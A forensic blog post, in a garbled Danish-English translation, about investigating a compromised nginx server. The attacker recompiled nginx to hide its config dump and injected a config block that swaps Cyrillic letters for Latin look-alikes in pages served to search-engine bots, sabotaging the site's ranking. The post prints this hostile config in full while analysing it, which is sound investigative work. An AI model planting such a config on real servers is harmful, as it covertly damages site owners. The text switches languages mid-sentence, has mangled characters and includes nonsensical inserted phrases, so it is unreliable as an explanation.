En yderst ubehagelig historie skete med en af mine bekendte. Men i hvor hÞj grad den var ubehagelig for Mikhail, var den lige sÄ underholdende for mig.
Man skal sige, at min ven er ganske UNIX-bruger: kan selv installere systemet, sĂŠtte op mysql, php og gĂžre de enkleste indstillinger. nginx.
Og han har et dusin eller halvandet websteder dedikeret til byggematerialer.
Et af disse websteder, som handler om motorsave, ligger godt placeret i sÞgeresultaterne. Dette websted er en non-profit anmeldelsesside, men nogen har fÄet det galt i halsen og besluttede sig for at angribe det. Nogle gange DDoS, sÄ brute force, sÄ skriver de upassende kommentarer og sender klager til hostingudbyderen og til RKN.
Pludselig blev alt stille, og denne stilhed viste sig ikke at vĂŠre god, men webstedet begyndte gradvist at falde fra de Ăžverste placeringer.

Det var en introduktion, nu til selve adminhistorien.
Klokken nÊrmede sig sengetid, da telefonen ringede: «San, kan du se pÄ min server? Jeg tror, jeg er blevet hacket, jeg kan ikke bevise det, men fÞlelsen har ikke forladt mig i tre uger. MÄske skal jeg bare til behandling for paranoia?»
Derefter kom der en halvtimes diskussion, som kort kan opsummeres sÄledes:
- Jorden for indbruddet var ganske frugtbar;
- hacker kunne opnÄ superbrugerrettigheder;
- angrebet (hvis det fandt sted) var mÄlrettet specifikt mod dette websted;
- de problematiske steder er blevet rettet, og det er kun nÞdvendigt at forstÄ, om der var et faktisk indbrud;
- indbruddet kunne ikke have berĂžrt webstedets kode og databaser.
VedrĂžrende det sidste punkt.

Verden ser kun den offentlige IP fra frontenden. Der er ikke noget udveksling mellem backendene og frontenden bortset fra http(s), brugernavne/adgangskoder er forskellige, og de har ikke udvekslet nĂžgler. PĂ„ de grĂ„ adresser er alle porte undtagen 80/443 lukket. De offentlige IPâer for backendene er kun kendt af to brugere, som Mikhail fuldt ud stoler pĂ„.
PÄ frontenden er der installeret Debian 9 og pÄ tidspunktet for opkaldet er systemet isoleret fra verden af en ekstern firewall og er stoppet.
«Okay, giv mig adgangen, â beslutter jeg at udsĂŠtte sĂžvnen en time. â Jeg vil se med mine egne Ăžjne».
Her og fremover:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
I jagten pÄ et muligt indbrud
Jeg starter serveren, fĂžrst i rescue-mode.Jeg monterer diske, bladrer gennem auth-logfiler, history, system logs, etc., I check file creation dates if possible, although I understand that a skilled hacker would have cleaned up after themselves, and Misha has already left quite a trail while searching for himself.
I start in normal mode, not fully understanding what I'm looking for, studying the configs. First of all, I'm interested in nginx since, generally speaking, thereâs nothing else on the frontend.
The configs are small, well-structured in about ten files, I just browse through them. catâone by one. Everything seems clean, but who knows if I missed something. include, let me do a full listing:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
I didnât understand: 'Where's the listing?'
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
A second question about the listing arises: 'Why such an old version of nginx?'
Moreover, the system thinks the version is more recent:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
I call:
â Misha, why did you recompile? nginx?
â Calm down, I donât even know how to do that!
â Ok, well, sleep...
Nginx is definitely recompiled, and the output of the listing by '-T' is hidden for a reason. There are no doubts about the hacking now, and it can simply be accepted, and (since Misha replaced the server anyway) consider the problem solved.
And indeed, if someone obtained rights rootâ, it makes sense to only do system reinstall, and searching for what was messed up is useless, but this time curiosity won over sleep. How do we find out what they wanted to hide from us?
Let's try to trace:
$ strace nginx -T
Looking at the trace, clearly missing lines like
write(1, " /etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Out of curiosity, comparing the outputs
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
I think part of the code /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
blev ĂŠndret til:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
eller
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
sĂ„ listen ved â-Tâ vises ikke.
Men hvordan kan vi se vores konfiguration?
Hvis jeg har ret, og problemet kun ligger i variablen ngx_dump_config lad os prÞve at sÊtte den med gdb, heldigvis er nÞgleordet --with-cc-opt -g til stede, og vi hÄber, at optimeringen -O2 ikke vil genere os. Da jeg ikke ved, hvordan ngx_dump_config kunne vÊre blevet behandlet i case 'T':, lad os ikke kalde denne blok, men i stedet sÊtte den ved hjÊlp af case 't':
Hvorfor kan vi bruge '-t' pÄ samme mÄde som '-T'Behandling af blokken if(ngx_dump_config) foregÄr inde i if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "konfigurationsfil %s test er vellykket",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# konfigurationsfil ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
SelvfÞlgelig, hvis koden er Êndret i denne del, og ikke i case 'T':, sÄ vil min metode ikke fungere.
Test nginx.confEfter at have lÞst problemet empirisk er det blevet fastslÄet, at en minimal konfiguration er nÞdvendig for at malware kan fungere. nginx af denne type:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Det vil vi bruge for korthedens skyld i artiklen.
Vi starter debuggeren
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Trinserne:
- sĂŠtter breakpoint i funktionen main()
- starter programmet
- ĂŠndrer vĂŠrdien af variablen der bestemmer konfigurationen ngx_dump_config=1
- fortsĂŠtter/afslutter programmet
Som vi ser adskiller den rigtige konfiguration sig fra vores, vi fremhĂŠver et uĂžnsket stykke fra den:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Lad os gÄ igennem, hvad der sker her.
Defineres User-Agentâyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Udelukkes servicesider wordpress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Og for dem, der falder ind under begge ovenstÄende betingelser
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
i teksten html-sider ĂŠndres âĐŸâ og fĂ„ en fungerende kommando. âoâ og âаâ og fĂ„ en fungerende kommando. âaâ:
sub_filter_once off;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Netop sĂ„dan, pointen er kun den, at âаâ != âaâ ligesom âĐŸâ != âoâ:

SĂ„ledes fĂ„r sĂžgemaskinernes bots i stedet for normal 100%-kyrilisk tekst modificeret skrald blandet med latin âaâ og âoâ. Jeg vil ikke spekulere pĂ„, hvordan det pĂ„virker SEO, men det vil nĂŠppe have en positiv indflydelse pĂ„ placeringerne i sĂžgeresultaterne.
Hvad kan man sige, fyre med fantasi.
Links
Kilde: habr.com
